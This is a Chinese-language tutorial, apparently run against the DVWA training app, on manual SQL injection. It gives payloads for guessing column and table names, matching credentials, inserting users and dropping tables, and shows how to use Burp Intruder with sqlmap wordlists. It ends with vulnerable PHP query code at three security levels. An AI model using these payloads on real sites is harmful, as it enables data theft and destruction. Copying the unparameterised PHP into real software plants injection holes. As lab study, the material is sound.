手动挖掘漏洞-SQL注入(三)

一般情况下,information_schema表只有root用户,或者被授权的用户才能访问;如果数据库管理员是用普通用户启用mysql服务,可能就无权限访问,不过可以通过注入的sql语句,观察网页回显,猜解数据库、表名、字段。

image
由上图,我们可以得知mysql的权限为root权限,知道为root权限,就能通过information_schema表获得我们想要的信息

我们也可以通过猜解的方式,获取信息

猜列名

1
' and column is null --

替换sql语句中的‘column’,判断网页回显
sql语句的意思是 :并且列有一个字段为空;
(如果列名存在,网页不会有回显;列名不存在,网页报错)
eg.
image

burpsuite字典猜解

image
选择替换字段的位置
image
字典的选择,可以再kali里搜索,猜解字段的有效程度,取决于字典的质量
image
可以通过以下命令将字典拷贝出来,并且过滤一些#开头的字段

1
root@kali:~# cat /usr/share/golismero/tools/sqlmap/txt/common-columns.txt | grep -v ^# > columns.txt

载入字典
image
开始攻击
image
通过返回的长度,判断字段是否存在
image

猜解表名

1
' and table.user is null --

user是为确认存在的列字段,目的是判断‘table’这张表中是否存在user字段
(如果表名存在,网页不会有回显;表名不存在,网页报错)
image

查找字典
image

1
root@kali:~# cat /usr/share/golismero/tools/sqlmap/txt/common-tables.txt | grep -v ^# > tables.txt

通过返回的消息长度,判断该表是否存在
image

猜解其他表名

1
' and (select count(*) from abc)>0 --

统计表中记录,若大于0,表名存在,可能直接爆出库名和表名
image

猜解表列的关系

1
' and users.user is null --

判断users表中是否有user列

猜解字段内容

  • 判断user列中是否有admin字段(后面为真,则显示,证明该内容存在)

    1
    ' or user='admin
  • 猜解user列中包含a的所有字段(通配符,只要字段中包含a,则显示)

    1
    ' or user like '%a%

image

猜解账号密码

1
' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99

数据库写入

当我们获得足够的数据库权限,可以对数据库写入时,可以增加或修改账号密码,来获得更多的信息

1
'; update users set user='new_admin' where user='admin

但是在有些站点无法运行该语句,是sql客户端的问题代码存在问题,导致注入失败【原因】

数据库评估软件hexorBase(用于破解或连接数据库的软件)
image

插入一条新用户

1
'; IINSERT INTO users( user_id, first_name, last_name, user, password, avatar) VALUES(10,'gali','yy', 'galiyy', '5f4dcc3b5aa765d61d8327deb882cf99', 'ok');--

删除一张表

1
'; DROP TABLE users; --

源码分析

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php    

if(isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);

$i = 0;

while ($i < $num) {

$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");

echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';

$i++;
}
}
?>

获取id值没有进行任何过滤,只需注意引号的闭合即可注入

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if (isset($_GET['Submit'])) {

// Retrieve data

$id = $_GET['id'];
$id = mysql_real_escape_string($id); # 对一些字符进行了转义

$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; # id值没有引号闭合

$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);

$i=0;

while ($i < $num) {

$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");

echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';

$i++;
}
}
?>

id值被mysql_real_escape_string()函数进行一些字符的转移,但是仔细观察,后面的SQL语句中id值并没有引号闭合,故此过滤函数为多余的

mysql_real_escape_string() 【php5.5.0已经弃用该函数,PHP 7.0.0已经删除该函数,使用MySQLi、PDO_MySQL代替】
转义的字符:

  • \x00
  • \n
  • \r
  • \
  • \x1a

image

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php    

if (isset($_GET['Submit'])) {

// Retrieve data

$id = $_GET['id'];
$id = stripslashes($id); # 去掉'\'
$id = mysql_real_escape_string($id); # 对一些字符进行转义

if (is_numeric($id)){ # 判断id值是否为数字

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);

$i=0;

while ($i < $num) {

$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");

echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';

$i++;
}
}
}
?>

不仅对字符进行了过滤,还加了数字的判断,目前未发现可绕过的方法